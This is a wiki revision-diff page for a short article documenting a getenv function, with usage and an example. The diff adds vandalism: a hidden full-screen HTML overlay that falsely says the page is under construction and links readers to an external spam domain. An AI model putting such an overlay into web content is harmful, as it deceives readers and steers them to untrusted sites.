Difference between revisions of "Getenv"
From SDU
(reverting vandalism) |
Agegeleruvy (Talk | contribs) |
||
| Line 1: | Line 1: | ||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://aduratutuz.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://aduratutuz.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
__NOTOC__ | __NOTOC__ | ||
[[Category:r6]] | [[Category:r6]] | ||
| Line 10: | Line 18: | ||
== Usage == | == Usage == | ||
| − | getenv ('' | + | getenv (''"string"'') |
== Examples == | == Examples == | ||
| − | * Getting the value of the PATH environment variable and putting it into the variable | + | * Getting the value of the PATH environment variable and putting it into the variable "result". |
string result; | string result; | ||
| − | result = getenv( | + | result = getenv("Path"); |
== Results == | == Results == | ||
This func will return the string value of the environment variable defined informed in string. | This func will return the string value of the environment variable defined informed in string. | ||
Revision as of 03:30, 24 November 2010
To make corrections or additions to this article, select the edit tab above.
To discuss or ask questions about this article, select the discussion tab above.
To discuss or ask questions about this article, select the discussion tab above.
Overview
Gets the value of an environment variable
Usage
getenv ("string")
Examples
- Getting the value of the PATH environment variable and putting it into the variable "result".
string result;
result = getenv("Path");
Results
This func will return the string value of the environment variable defined informed in string.